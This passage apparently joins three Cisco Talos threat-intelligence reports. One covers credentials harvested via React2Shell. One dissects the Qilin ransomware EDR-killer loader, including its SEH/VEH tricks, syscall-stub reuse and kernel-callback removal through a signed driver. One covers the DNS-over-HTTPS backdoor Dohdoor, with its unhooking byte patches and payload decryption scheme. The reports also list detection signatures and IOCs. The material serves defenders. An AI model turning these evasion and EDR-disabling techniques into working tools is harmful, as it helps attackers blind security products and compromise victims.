Present in 78% of hosts, the “ssh.txt” files contain complete PEM-encoded private keys (both ED25519 and RSA formats) along with authorized_keys entries. These keys enable lateral movement to any other system that trusts the compromised host's key identity — a particularly severe finding for organizations with shared key infrastructure or bastion-host architectures. 

Cloud credential harvesting 

The “aws_full.txt” and “cloud_meta.txt” phases attempt to query the AWS Instance Metadata Service (IMDS), GCP metadata server, and Azure IMDS. For cloud-hosted targets, successful retrieval yields IAM role-associated temporary credentials — credentials that carry whatever permissions were granted to the instance role, which in misconfigured environments can include S3 bucket access, EC2 control plane operations, or secrets manager read access. 

Kubernetes service account tokens 

The “k8s.txt” phase targets containerized workloads, attempting to read the default service account token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. A compromised Kubernetes token can allow an attacker to enumerate cluster resources, read secrets from other namespaces, or escalate to cluster-admin depending on RBAC configuration. 

Docker container intelligence 

For hosts running Docker (approximately 6% of the dataset), the “docker.txt” phase enumerates all running containers, their images, exposed ports, network configurations, mount points, and environment variables. Notable services observed include phpMyAdmin instances, n8n workflow automation, and internal administrative dashboards — all of which are high-value targets for follow-on access. 

Shell command history 

Command history files reveal operator behavior on compromised systems and other information that could be useful for post-compromise activity. Observed patterns include: 

• MySQL client invocations with explicit credentials: mysql -u root -p 
• Database service management: /etc/init.d/mysqld restart

Implications 

• Credential compromise and account takeover: Every credential in this dataset should be considered fully compromised. Live Stripe secret keys enable fraudulent charges and refund manipulation. AWS keys with broad IAM permissions enable cloud infrastructure takeover, data exfiltration from S3, and lateral movement within AWS organizations. Database connection strings with cleartext passwords provide direct access to application data stores containing user personally identifiable information (PII), financial records, or proprietary data. 
• Lateral movement via SSH: The large corpus of exposed SSH private keys creates a persistent lateral movement risk that survives the rotation of application credentials. If any of these keys are reused across systems (a common operational practice), the attacker retains access to those systems even after the initial compromise is detected and remediated. 
• Supply chain risk: Several hosts show evidence of package registry authentication files (“pkgauth.txt”), including npm and pip configuration with registry credentials. Compromised package registry tokens could enable a supply chain attack — publishing malicious versions of packages under a legitimate maintainer's identity. 
• Data aggregation and intelligence value: Beyond the immediate operational value of individual credentials, the aggregate dataset represents a detailed map of the victim organizations' infrastructure: what services they run, how they're configured, what cloud providers they use, and what third-party integrations are in place. This intelligence has significant value for crafting targeted follow-on attacks, social engineering campaigns, or selling access to other threat actors. 
• Reputational and regulatory exposure: For any organization whose data appears in this set, there are serious compliance implications. Database credentials exposing PII trigger breach notification requirements under GDPR, CCPA, and sector-specific regulations. Organizations that process payments whose Stripe keys are exposed face PCI DSS incident response obligations. The exposure of AI platform API keys can result in significant unauthorized usage charges in addition to the security risk. 

Recommendations 

1. Audit getServerSideProps and getStaticProps implementations: Ensure no secrets or server-only environment variables are passed as props to client components. 
2. Enforce NEXT_PUBLIC_ prefix discipline: Only variables that are intentionally public should carry this prefix. Audit all variables for misclassification. 
3. Rotate all credentials immediately if any overlap with the described victim profile is suspected. 
4. Implement IMDSv2 enforcement on all AWS EC2 instances to require session-oriented metadata queries, blocking unauthenticated metadata service abuse. 
5. Segment SSH keys: Avoid reusing SSH key pairs across different systems or environments. 
6. Enable cloud provider secret scanning: AWS, GitHub, and others offer native secret scanning that can detect and alert on committed or exposed credentials. 
7. Deploy runtime application self-protection (RASP) or a WAF rule set tuned for Next.js-specific attack patterns, particularly those targeting SSR data injection points. 
8. Audit container environments for least-privilege. Application containers should not have access to the host SSH agent, host filesystem mounts containing sensitive data, or overly permissive IAM instance roles. 

Coverage 

SNORT® ID for CVE-2025-55182, aka React2Shell: 65554 

Indicators of compromise (IOCs) 

Organizations should investigate for the following artifacts on web application hosts: 

• Unexpected processes spawned from /tmp/ with randomized dot-prefixed names (e.g., /tmp/.e40e7da0c.sh) 
• nohup invocations in process listings not associated with known application workflows 
• Unusual outbound HTTP/S connections from application containers to non-production endpoints 
• Evidence of __NEXT_DATA__ containing server-side secrets in rendered HTML 

IOCs for this threat also available on our GitHub repository here.

144[.]172[.]102[.]88  
172[.]86[.]127[.]128  
144[.]172[.]112[.]136  
144[.]172[.]117[.]112

• Endpoint detection and response (EDR) tools are widely deployed and far more capable than traditional antivirus. As a result, attackers use EDR killers to disable or bypass them.
• Disabling telemetry collection (process, memory, network activity) limits what defenders can see and analyze.
• As defenders improve behavioral detection, attackers increasingly target the defense layer itself as part of their initial access or early execution stages.
• This blog provides an in-depth analysis of the malicious “msimg32.dll” used in Qilin ransomware attacks, which is a multi-stage infection chain targeting EDR systems. It can terminate over 300 different EDR drivers from almost every vendor in the market.
• We present multiple techniques used by the malware to evade and ultimately disable EDR solutions, including SEH/VEH-based obfuscation, kernel object manipulation, and various API and system call bypass methods.

---

This blog post provides an in-depth technical analysis of the malicious dynamic-link library (DLL) “msimg32.dll”, which Cisco Talos observed being deployed in Qilin ransomware attacks. The broader activities and attacks of Qilin was previously introduced and described in the blog post here.

This DLL represents the initial stage of a sophisticated, multi-stage infection chain designed to disable local endpoint detection and response (EDR) solutions present on compromised systems. Figure 1 shows a high-level diagram demonstrating the overall execution flow of this infection chain.

The first stage consists of a PE loader responsible for preparing the execution environment for the EDR killer component. This secondary payload is embedded within the loader in an encrypted form.

The loader implements advanced EDR evasion techniques. It neutralizes user-mode hooks and suppresses Event Tracing for Windows (ETW) event generation at runtime by leveraging a -like approach. Additionally, it makes extensive use of structured exception handling (SEH) and vectored exception handling (VEH) to obscure control flow and conceal API invocation patterns. This enables the EDR killer payload to be decrypted, loaded, and executed entirely in memory without triggering detection by the locally installed EDR solution.

Once active, the EDR killer component loads two helper drivers. The first driver (“rwdrv.sys”) provides access to the system’s physical memory, while the second driver (“hlpdrv.sys”) is used to terminate EDR processes. Prior to loading the second driver, the EDR killer component unregisters monitoring callbacks established by the EDR, ensuring that process termination can proceed without interference.

Overall, the malware is capable of disabling over 300 different EDR drivers across a wide range of vendors. While the campaign has been previously reported by , , and others at a higher level, this analysis focuses on previously undocumented technical details of the infection chain (e.g., the SEH/VEH tricks and the overwriting of certain kernel objects).

PE loader section (“msimg32.dll”)

The malicious DLL is most likely side-loaded by a legitimate application that imports functions from “msimg32.dll”. To preserve expected functionality, the original API calls are forwarded to the legitimate library located in “C:\Windows\System32”.

The version of “msimg32.dll” deployed by the threat actor triggers its malicious logic from within its DllMain function. As a result, the payload is executed as soon as the legitimate application loads the DLL.

Sophos also gave some technical and historical insights into this loader in their earlier blog, in which it is referred to as Shanya.

Initialization phase

During initialization, the loader allocates a heap buffer in process memory that acts as a slot-policy table.

The size of this buffer is computed as "ntdll.dll" OptionalHeader.SizeOfCode divided by 16 ( SizeOfCode >> 4), resulting in one byte per 16-byte code slot covering the code region as defined by OptionalHeader.SizeOfCode (typically the .text range). Each entry in the table corresponds to a fixed 16-byte block relative to BaseOfCode.

The loader then iterates over the export table of “ntdll.dll”. For each exported function whose name begins with "Nt", the virtual address of the corresponding syscall stub is resolved. From this address, a slot index is calculated as: slot_idx = (FuncVA - BaseOfCode)/16

This index is used to mark the corresponding entry in the slot-policy table. All Nt* stubs are assigned a default policy, while selected functions are explicitly marked with special policies, including:

• NtTraceEvent
• NtTraceControl
• NtAlpcSendWaitReceivePort

The result is a data-driven classification of relevant syscall stubs without modifying the executable code of “ntdll.dll”. The resulting slot-policy-table appears as follows:

The actual loader function is significantly more complex and incorporates additional obfuscation techniques, such as hash-based API resolution at runtime.

After constructing the table, the sample dynamically resolves ntdll!LdrProtectMrdata, which will be discussed in greater detail later. It then invokes this routine to change the protection of the .mrdata section to writable. This section contains the exception dispatcher callback pointer along with other critical runtime data.

Once the section is writable, the loader overwrites the dispatcher slot with its own custom exception handler. As a result, its routine is executed whenever an exception is triggered.

Runtime exception handling

This function primarily performs two tasks: handling breakpoint exceptions and single-step exceptions.

The handling of breakpoint exceptions (0xCC) is relatively straightforward. It simply resumes execution at the instruction immediately following the INT3 (0xCC). Talos is not certain why this approach was implemented. It may function as a lightweight anti-emulation, anti-analysis, or anti-sandbox mechanism for weak analysis systems, serve as groundwork for more advanced anti-debugging techniques, or act as preparation for future control-flow manipulation similar to the VEH-based logic observed in Stages 2 and 3.

The single-step portion of the function is significantly more complex and is where the previously introduced slot-policy table is utilized. ctx->ntstub_class_map points to the map buffer allocated during initialization.

Simplified the logic of the initialization and dispatch function looks like this in pseudo code. InitCtxAndPatchNtdllMrdataDispatch is the initialization function and hook_function_ExceptionCallback is the dispatch function mentioned above.

The find_syscall routine shown in Figure 7 implements a syscall recovery technique. Details can be found in the picture below. It scans both backward and forward through “ntdll.dll” to locate intact syscall stubs and identify neighboring syscalls that can be repurposed.

The simplified logic is as follows:

• Indirectly determine the target syscall number by scanning forward and backward.
• Locate a clean neighbouring stub.
• Manually load the correct syscall ID into eax.
• Transition directly to kernel mode using the syscall instruction (i.e., a syscall instruction located inside a clean neighboring stub).

By reusing a neighboring syscall stub to invoke the desired system call, the loader bypasses EDR-hooked syscalls without modifying the hooked code itself. The Windows kernel only evaluates the syscall ID in eax; it does not verify which exported API function initiated the call.

As previously mentioned, the actual code of the malware is more complex (e.g., the aforementioned runtime resolution of ntdll!LdrProtectMrdata).

The loader resolves the ntdll!LdrProtectMrdata function in a stealthy way. Instead of resolving LdrProtectMrdata by name or hash, the loader instead:

• Finds the .mrdata section in the “ntdll.dll” image
• Checks whether the current dispatcher slot pointer (dispatch_slot) lies inside .mrdata
• If it does, it uses a known exported ntdll function (RtlDeleteFunctionTable, located via hash) as an anchor
• From that anchor, it scans for a CALL rel32 instruction (0xE8) and extracts its target address
• That call target is the address of LdrProtectMrdata and stored in ctx->LdrProtectMrdata

The initialization routine described earlier also incorporates several basic anti-debugging measures. For example, it verifies whether a breakpoint has been placed on KiUserExceptionDispatcher. If such a breakpoint is detected, the process is deliberately crashed. This check is performed before the dispatcher is overwritten, which means that the resulting exception is handled by the original, default exception handler.

The loader also implements geo-fencing. It excludes systems configured for languages commonly used in post-Soviet countries. This check is performed at an early stage, and the loader terminates if a locale from the exclusion list is detected.

After initializing Stage 1, the loader proceeds to unpack the subsequent stages. It creates a paging file-backed section and maps two views of this section into the process address space. This aspect was not analyzed in depth; however, creating two views of the same section is a common malware technique used to obscure a READ-WRITE-EXECUTABLE memory region. Typically, one view is configured with WRITE access only, masking the effective executable permissions of the underlying section. This shared memory region will contain subsequent malware stages after unpacking them. This also makes it more difficult to dump the memory during analysis. When a virtual memory page is not currently present in RAM (present bit cleared), accessing it triggers a page fault. The kernel then resolves the fault (e.g., by loading the page from the pagefile into physical memory).

After creating the views, it copies and decodes bytes into this buffer. The basic block highlighted in green marks the start of this routine, while the red basic block represents the final control transfer (see Figure 17) to the decoded payload. The yellow basic block contains the decision logic that determines when execution transitions to the red basic block.

Inside the red basic block, we have the final jump into the decoded bytes of Stage 2.

Stage 2

Stage 2 (0x2470000) serves solely as a stealthy transition mechanism to transfer execution to Stage 3. As expected, all addresses referenced from this point onward, such as 0x2470000, may vary between executions of the loader, as they are dynamically allocated at runtime.

The initial part of Stage 2 is straightforward: It decodes the data stored in the memory section and then unmaps the previously mapped view. The subsequent function call constitutes the critical step: ctx->FuncPtrHookIAT((ULONGLONG)ctx->hooking_func);

This IAT-hooking routine overwrites the ExitProcess entry in the Import Address Table (IAT) of the main process (i.e., the process that loaded the malicious “msimg32.dll”).

As shown in Figure 18, execution returns normally from Stage 2, and DllMain completes without any obvious anomalies. The malicious logic is triggered later, when ExitProcess is invoked by exit_or_terminate_process during process termination. Instead of terminating the process, execution is redirected to function 0x2471000, which corresponds to Stage 3.

Stage 3

Stage 3 primarily decompresses and loads a PE image from memory that was originally embedded within the malicious “msimg32.dll”. It begins by resolving syscall stubs, which are used in subsequent code sections followed by decoding routines.

After several decoding and preparation steps, the PE image is decompressed from memory.

After the PE image has been decompressed, the final routine responsible for preparing, loading, and ultimately executing the PE can be found at 0x24A2CE7 in this run.

The fix_and_load_PE_set_VEH function begins by mapping “shell32.dll” into the process address space using NtCreateFile, NtCreateSection, and MapViewOfFile. It then overwrites the in-memory contents of “shell32.dll” with the previously loaded PE image.

After copying the embedded and decoded PE image into memory, the code manually applies base relocations.

After preparing the PE for in-memory execution, the loader employs a technique similar to Stage 2, but this time leveraging a vectored exception handler (VEH). After registering the VEH, it triggers the handler by setting a hardware breakpoint on ntdll!NtOpenSection. To indirectly invoke NtOpenSection, the loader subsequently loads a fake DLL via a call to the LdrLoadDll API. It appears that the malware author intentionally chose a name referencing a well-known security researcher, likely as a provocative touch.

After several intermediate steps, this results in a call to NtOpenSection, which triggers the previously configured hardware breakpoint and, in turn, invokes the VEH. The first time the VEH is triggered at NtOpenSection, it executes the code in Figure 29.

It modifies the “shell32.dll” name in memory to “hasherezade_[redacted].dll”, then adjusts RIP in the context record to point to the next ret instruction (0xC3) within the NtOpenSection stub and sets a new hardware breakpoint on NtMapViewOfSection. In addition, it updates the stack pointer to reference LdrpMinimalMapModule+offset, where the offset corresponds to an instruction immediately following a call to NtOpenSection inside LdrpMinimalMapModule. It then invokes NtContinue, which resumes execution at the RIP value stored in the context record (i.e., at the ret instruction). That ret instruction subsequently transfers control to the address prepared on the stack, namely LdrpMinimalMapModule+offset.

cr_1->rsp = LdrpMinimalMapModule+offset
cr_1->rip = ntdll!NtOpenSection+0x14 = ret ; jumps to <rsp> when executed

During execution of LdrpMinimalMapModule, a call to NtMapViewOfSection is made, which triggers the hardware breakpoint set by the previous routine. On this occasion, the VEH executes the code in Figure 31.

It deletes all HW breakpoints and then sets the stackpointer to an address which points to an address in LdrMinimalMapModule+offset. As expected, this is right after a call to NtMapViewOfSection. In other words, the registers in the context are overwritten like this:

ctx->rsp -> ntdll!LdrpMinimalMapModule+0x23b
ctx->rip -> ntdll!NtMapViewOfSection+0x14 = ret

When the return (ret) instruction is reached, it jumps to the address stored in the stack pointer (rsp).

The subsequent code in LdrpMinimalMapModule maps the previously restored PE image into the process address space and prepares it for execution. Finally, control returns to 0x24A3C1E, the instruction immediately following the call that originally triggered the first hardware breakpoint.

After several additional fix-up steps, the loader transfers execution to Stage 4 (i.e., the loaded PE image).

This PE file is an EDR killer capable of disabling over 300 different EDR drivers across a wide range of solutions. A detailed analysis of this component will be provided in the next section.

PE loader summary

The first three stages of this binary implement a sophisticated and complex PE loader capable of bypassing common EDR solutions by evading user-mode hooks through carefully crafted SEH and VEH techniques. While these methods are not entirely novel, they remain effective and should be detectable by properly implemented EDR solutions.

The loader decrypts and executes an embedded PE payload in memory. In this campaign, the payload is an EDR killer capable of disabling over 300 different EDR products. This component will be analyzed in detail in the next section.

EDR killer

Stage 4: Extracted EDR killer PE file

Besides initialization, the first thing the extracted PE from Stage 3 does is check again if the system locale matches a list of post-Soviet countries and, if it does, it crashes. This is another indicator that former stages are just a custom PE loader, which could be used to load any PE the adversaries want. Otherwise, doing the same check again is not logical.

The malware then attempts to elevate its privileges and load a helper driver. This also implies that the process must be executed with administrative privileges.

The “rwdrv.sys” driver is a renamed version of “ThrottleStop.sys”, originally distributed by TechPowerUp LLC and signed with a valid digital certificate. It is legitimately used by tools such as GPU-Z and ThrottleStop. This is not the first observed abuse of this ; it has previously been leveraged in several malware campaigns.

Despite its benign origin, the driver exposes highly powerful functionality and can be loaded by arbitrary user-mode applications. Critically, it implements these capabilities without enforcing meaningful security checks, making it particularly attractive for abuse.

This driver exposes a low-level hardware access interface to user mode via input/output controls (IOCTLs). It allows a user-mode application to directly interact with system hardware.

The driver implements IOCTL handlers that provide the following capabilities:

• I/O port access
  • Read from hardware ports (inb/inw/ind)
  • Write to hardware ports (outb/outw/outd)
• CPU Model Specific Register (MSR) access
  • Read MSRs (__readmsr)
  • Write MSRs (__writemsr) with limited protection against modifying critical syscall/sysenter registers
• Physical memory/MMIO access
  • Map arbitrary physical memory into kernel space using MmMapIoSpace
  • Create a user-mode mapping of the same memory using MmMapLockedPagesSpecifyCache
  • Maintain up to 256 active mappings per driver instance
  • Provide an IOCTL to release/unmap those mappings
• Direct physical memory access
  • Read physical memory values
  • Write physical memory values
• PCI configuration space access
  • Read PCI configuration registers (HalGetBusDataByOffset)
  • Write PCI configuration registers (HalSetBusDataByOffset)

Additionally, the driver tracks the number of open handles and associates memory mappings with the calling process ID.

Overall, the driver functions as a generic kernel-mode hardware access layer, exposing primitives for port I/O, MSR access, physical memory mapping, and PCI configuration operations. Such functionality is typically used by hardware diagnostic tools, firmware utilities, or low-level system utilities, but it also provides powerful primitives that could be abused if accessible from unprivileged user-mode.

The two important functions heavily used by the sample are the ability to read and write physical memory.

After loading the driver, the malware proceeds to determine the Windows version. To do so, it first resolves the required API function using a PEB-based lookup routine, a technique consistently employed throughout the sample.

The implementation parses the Process Environment Block (PEB) and locates the target module by finding the hash of its name. Then the ResolveExportByHash function takes the module base from the previously found DLL and parses its PE header to find the function that corresponds to the function hash. It can either provide the API function address as an PE offset or as a virtual address.

After a couple of initializations and checks, it gets the “rwdrv.sys” handle, followed by the EDR-related part of the sample — the kernel tricks which are responsible for avoiding, blinding, and disabling the EDR.

However, let’s have a brief look into the details. It starts with building a vector of physical memory pages. This vector will later be used in subsequent methods.

The SetMemLayoutPointer function in the if statement above leverages the NtQuerySystemInformation API function to gather the Superfetch information about the physical memory pages. It stores a pointer to this information in global variables (mem_layout_v1_ptr or mem_layout_v2_ptr). Which one is used depends on the version variable which is the argument handed over to the function. In our case, 1 is for calling the function the first time and 2 is for the second time. In other words, it brute-forces whichever version works for the Windows system it is running on.

The BuildSuperfetchPfnMetadataList function is quite large and complex. Simplified, it starts by using the mem_layout pointer to calculate the total page count.

It then ends by using NtQuerySystemInformation again to get the physical pages and their meta data to store this information in a global vector (g_PfnVector).

Back to the block from the above, the next step blinds the EDRs by deleting their callbacks for certain operations (e.g., process creation, thread creation, and image loading events).

The unregister_callbacks function iterates through a list of over 300 driver names which are stored in the sample.

It also demonstrates the overall implementation of the malware, which is also used in several other functions. It uses a certain API function to calculate an offset to the function or object it is really using — in this case, the kernel callback cng!CngCreateProcessNotifyRoutine. It also does not touch this object in the process virtual address space. It uses the driver loaded earlier (“rwdrv.sys”) to get the physical memory address of it. The logic and driver communication is implemented in the read_phy_bytes function, and the same for overwriting memory; the write_to_phy_mem function is used to handle the driver communications. The DeviceIoControlImplementation function which talks to the driver is implemented in write_to_phy_mem.

The other callback-related functions shown in Figure 44 work similarly to the one we discussed. They overwrite or unregister other EDR-specific callbacks, which were set by the EDR Mini-Filter driver.

The final part of the EDR killer begins by loading another driver (“hlpdrv.sys”).

The malware uses the driver to terminate EDR processes running on the system using the IOCTL code 0x2222008. This executes the function in the driver which is responsible for unprotecting and terminating the process.

Once terminated, EDR processes such as Windows Defender no longer run, as demonstrated in Figure 56.

Additionally, it restores the CiValidateImageHeader callback. The RestoreCiValidateImageHeaderCallback function is shown in Figure 57.

This is accomplished using the same concept we previously saw in Figure 52:

• Resolve a known API function.
• Use this function as an anchor point to locate a specific instruction within its code.
• This instruction contains a pointer in one of its operands that points to, or near, the object of interest.
• Identify the pointer to the target object within that instruction.
• Perform a sign extension on the operand.
• Add an additional offset to compute the final address of the object being sought — in this case, the CiValidateImageHeader callback.
• Restore the original function pointer to CiValidateImageHeader.

Note that the malware had previously overwritten the callback to CiValidateImageHeader with the address of ArbPreprocessEntry, a function that always returns true. In other words, it has now restored the original Code Integrity check.

Summary

This blog was a technical deep dive into the infection chain that is hidden in the malicious “msimg32.dll”, which has been observed during Qilin ransomware attacks. It demonstrates the sophisticated tricks the malware is employing to circumvent or completely disable modern EDR protection features on compromised systems.

It is encouraging to see how many hurdles modern malware must overcome. At the same time, this highlights that even state-of-the-art defense mechanisms can still be bypassed by determined adversaries. Defenders should never rely on a single product for protection; instead, Talos strongly recommends a multi-layered security approach. This significantly increases the difficulty for attackers to remain undetected, even if they manage to evade one line of defense.

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Malware.Bumblebee-10056548-0
• Win.Tool.EdrKiller-10059833-0
• Win.Tool.ThrottleStop-10059849-0

The following SNORT® rules (SIDs) detect and block this threat: 

• Covering Snort2 SID(s): 1:66181, 1:66180
• Covering Snort3 SID(s): 1:301456

Indicators of compromise (IOCs)

The IOCs for this threat are also available at our GitHub repository here.

msimg32.dll
MD5: 89ee7235906f7d12737679860264feaf
SHA1: 01d00d3dd8bc8fd92dae9e04d0f076cb3158dc9c
SHA256: 7787da25451f5538766240f4a8a2846d0a589c59391e15f188aa077e8b888497

rwdrv.sys
MD5: 6bc8e3505d9f51368ddf323acb6abc49
SHA1: 82ed942a52cdcf120a8919730e00ba37619661a3
SHA256: 16f83f056177c4ec24c7e99d01ca9d9d6713bd0497eeedb777a3ffefa99c97f0

hlpdrv.sys
cf7cad39407d8cd93135be42b6bd258f
ce1b9909cef820e5281618a7a0099a27a70643dc
bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56

EDRKiller.exe (non-fixed memory dump with overlay)
MD5: 1305e8b0f9c459d5ed85e7e474fbebb1
SHA1: 84e2d2084fe08262c2c378a377963a1482b35ac5
SHA256: 12fcde06ddadf1b48a61b12596e6286316fd33e850687fe4153dfd9383f0a4a0
Time stamp: 0x684d33f0 (14. June 2025, 08:33:52 UTC)
ImpHash : 05aa031a007e2f51e3f48ae2ed1e1fcb
TLSH: T1B4647C01B7E50CF9EE77C638C9614A06EA72BC425761DADF43A04A964F237D09E3DB12

• Cisco Talos discovered an ongoing malicious campaign since at least as early as December 2025 by a threat actor we track as “UAT-10027,” delivering a previously undisclosed backdoor dubbed “Dohdoor.” 
• Dohdoor utilizes the DNS-over-HTTPS (DoH) technique for command-and-control (C2) communications and has the ability to download and execute other payload binaries reflectively. 
• UAT-10027 targeted victims in the education and health care sectors in the United States through a multi-stage attack chain. 
• Talos observed the actor misused various living-off-the-land executables (LOLBins) to sideload the Dohdoor and has set up the C2 infrastructure behind reputable cloud services, such as Cloudflare, to enable stealth C2 communication.

---

Multi-stage attack chain  

Talos discovered a multi-stage attack campaign targeting the victims in education and health care sectors, predominantly in the United States.  

The campaign involves a multi-stage attack chain, where initial access is likely achieved through social engineering phishing techniques. The infection chain executes a PowerShell script that downloads and runs a Windows batch script from a remote staging server through a URL. Subsequently, the batch script facilitates the download of a malicious Windows dynamic-link library (DLL), which is disguised as a legitimate Windows DLL file. The batch script then executes the malicious DLL dubbed as Dohdoor, by sideloading it to a legitimate Windows executable. Once activated, the Dohdoor employs the DNS-over-HTTPS (DoH) technique to resolve command-and-control (C2) domains within Cloudflare’s DNS service. Utilizing the resolved IP address, it establishes an HTTPS tunnel to communicate with the Cloudflare edge network, which effectively serves as a front for the concealed C2 infrastructure. Dohdoor subsequently creates backdoored access into the victim's environment, enabling the threat actor to download the next-stage payload directly into the victim machine's memory and execute the potential Cobalt Strike Beacon payload, reflectively within legitimate Windows processes. 

In this campaign, the threat actor hides the C2 servers behind the Cloudflare infrastructure, ensuring that all outbound communication from the victim machine appears as legitimate HTTPS traffic to a trusted global IP address. This obfuscation is further reinforced by utilizing subdomain names such as “MswInSofTUpDloAd” and “DEEPinSPeCTioNsyStEM”, which mimic Microsoft Windows software updates or a security appliance check-in to evade automated detections. Additionally, employing irregular capitalization across non-traditional Top-Level Domains (TLD) like “.OnLiNe”, “.DeSigN”, and “.SoFTWARe” not only bypasses string matching filters but also aids in adversarial infrastructure redundancy by preventing a single blocklist entry from neutralizing their intrusion.

PowerShell downloader

Talos discovered suspicious download activity in our telemetry where the threat actor executed “curl.exe” with an encoded URL, downloading a malicious Windows batch file with the file extensions “.bat” or “.cmd”.   

While the initial infection vector remains unknown, we observed several PowerShell scripts in OSINT data containing embedded download URLs similar to those identified in the telemetry. The threat actor appeared to have executed the download command via a PowerShell script that was potentially delivered to the victim through a phishing email. 

Windows batch script and anti-forensics  

The second stage component of the attack chain is a Windows batch script dropper that effectively orchestrates a DLL sideloading technique to execute the malicious DLL while simultaneously conducting anti-forensic cleanup. 

This process initiates by creating a hidden workspace folder in either “C:\ProgramData” or the “C:\Users\Public” folder. It then downloads a malicious DLL from the command-and-control server using the URL /111111?sub=d, placing it into the workspace, disguising it as legitimate Windows DLL file name, such as "propsys.dll” or “batmeter.dll”. The script subsequently copies legitimate Windows executables, such as “Fondue.exe”, “mblctr.exe”, and “ScreenClippingHost.exe”, into the working folder and executes these programs from the working folder, using the C2 URL /111111?sub=s as the argument parameter. The legitimate executable sideloads and runs the malicious DLL. Finally, the script performs anti-forensics by deleting the Run command history from the RunMRU registry key, clearing the clipboard data, and ultimately deleting itself.  

Dohdoor potentially runs the payload reflectively  

UAT-10027 downloaded and executed a malicious DLL using the DLL sideloading technique. The malicious DLL operates as a loader, which we call “Dohdoor,” and it is designed to download, decrypt, and execute malicious payloads within legitimate Windows processes. It evades detection through API obfuscation and encrypted C2 communications, and bypasses endpoint detection and response (EDR) detections.  

Dohdoor is a 64-bit DLL that was compiled on Nov. 25, 2025, containing the debug string "C:\Users\diablo\Desktop\SimpleDll\TlsClient.hpp". Dohdoor begins execution by dynamically resolving Windows API functions using hash-based lookups rather than using static imports, evading the signature-based detections from identifying the malware Import Address Table (IAT). Dohdoor then parses command line arguments that the actor has passed during the execution of the legitimate Windows executable which sideloads the Dohdoor. It extracts an HTTPS URL pointing to the C2 server, and a resource path specifying the type of payload to download.  

Dohdoor employs stealthy domain resolution utilizing the DNS-over-HTTPS technique to effectively resolve the C2 server IP address. Rather than generating plaintext DNS queries, it securely sends encrypted DNS requests to Cloudflare’s DNS server over HTTPS port 443. It constructs DNS queries for both IPv4 (A records) and IPv6 (AAAA records) and formats them using the template strings that include the HTTP header parameters such as User-Agent: insomnia/11.3.0 and Accept: applications/dns-json, producing a complete HTTP GET request. 

The formatted HTTP request is sent through encrypted connections. After receiving the JSON response of the Cloudflare DNS servers, it parses them by searching for specific patterns rather than using a full JSON parser. It searches for the string “Answer” to locate the answer section of the response, and if found, it will search for the string “data” to locate the data field containing the IP address.  

This technique bypasses DNS-based detection systems, DNS sinkholes, and network traffic analysis tools that monitor suspicious domain lookups, ensuring that the malware's C2 communications remain stealth by traditional network security infrastructure.  

With the resolved IP address, Dohdoor establishes a secure connection to the C2 server by constructing the GET requests with the HTTP headers including “User-agent: curl/7.88” or “curl/7.83.1” and the URL /X111111?sub=s. It supports both standard HTTP responses with Content-length headers and chunked encoding. 

Dohdoor receives an encrypted payload from the C2 server. The encrypted payload undergoes custom XOR-SUB decryption using a position-dependent cipher. The encrypted data maintains a 4:1 expansion ratio where the encrypted data is four times larger than the decrypted data. The decryption routine of Dohdoor operates in two ways. A vectorized (Single Instruction, Multiple Data) SIMD method for bulk processing and a simpler loop to handle the remaining encrypted data.  

The main decryption routine processes 16-byte blocks of the encrypted data using the SIMD instructions. It calculates position-dependent indexes, retrieves encrypted data and applies XOR-SUB decryption using the 32-byte key. This decryption routine repeats four times per iteration until it reaches the end of a 16-byte block.  

For the encrypted data that remains out of the 16-byte blocks, it applies to the decryption formula “decrypted[i] = encrypted[i*4] - i – 0x26”. Every fourth byte is sampled from the encryption data buffer; the position index is subtracted to create position-dependent decryption, and finally the constant 0x26 is subtracted.  

Once the payload is decrypted, Dohdoor injects the payload binary into a legitimate Windows process utilizing process hollowing technique. The actor targets legitimate Windows binaries by hardcoding the executable paths, ensuring that Dohdoor executes them in a suspended state. It then performs process hollowing, seamlessly injecting the decrypted payload before resuming the process, allowing the payload to run stealthily and effectively. In this campaign, the legitimate Windows binaries targeted for process hollowing are listed below: 

• C:\Windows\System32\OpenWith.exe 
• C:\Windows\System32\wksprt.exe 
• C:\Program Files\Windows Photo Viewer\ImagingDevices.exe 
• C:\Program Files\Windows Mail\wab.exe 

Talos observed that the Dohdoor implements an EDR bypass technique by unhooking system calls (syscalls) to bypass EDR products that monitor Windows API calls through user mode hooks in ntdll.dll. Security products usually patch the beginning of ntdllfunctions to redirect execution through their monitoring code before allowing the original system call to execute. 

Evasive malwares usually detect system call hooks by reading the first bytes of critical ntdll functions and comparing them against the expected syscall stub pattern that begins with "mov r10, rcx; mov eax, syscall_number". If the bytes match the expected pattern indicating the function is not hooked, or if hooks are detected, the malware can write replacement code that either restores the original instructions or creates a direct syscall trampoline that bypasses the hooked function entirely. 

Dohdoor achieves this by locating ntdll.dll with the hash “0x28cc” and finds NtProtectVirtualMemory with the hash “0xbc46c894”. Then it reads the first 32 bytes of the function using ReadProcessMemory that dynamically loads during the execution and compares them with the syscall stub pattern in hexadecimal “4C 8B D1 B8 FF 00 00 00” which corresponds to the assembly instructions “mov r10, rcx; mov eax, 0FFh”. If the byte pattern matches, it writes a 6-byte patch in hexadecimal “B8 BB 00 00 00 C3” which corresponds to assembly instruction “mov eax, 0BBh; ret”, resulting in creating a direct syscall stub that bypasses any user mode hooks.  

During our research, we were unable to find a payload that was downloaded and implanted by the Dohdoor. Still, we found that one of the C2 hosts associated with this campaign had a JA3S hash of “466556e923186364e82cbdb4cad8df2c” and the TLS certificate serial number “7FF31977972C224A76155D13B6D685E3” according to the OSINT data. The JA3S hash and the serial number found resembles the JA3S hash of the default Cobalt Strike server, indicating that the threat actor was potentially using the Cobalt Strike beacon as the payload to establish persistent connection to the victim network and execute further payloads.   

Low confidence TTPs overlap with North Korean actors’ techniques 

Talos assesses with low confidence that UAT-10027 is North Korea-nexus, based on the similarities in the tactics, techniques, and procedures (TTPs) with that of the other known North Korean APT actor Lazarus.  

We observed similarities in the technical characteristics of Dohdoor with Lazarloader, a tool belonging to the North Korean APT Lazarus. The key similarity noted is the usage of a custom XOR-SUB with the position-dependent decryption technique and the specific constant in hexadecimal (0x26) for subtraction operation. Additionally, the NTDLL unhooking technique used to bypass EDR monitoring by identifying and restoring system call stubs aligns with features found in earlier Lazarloader variants. 

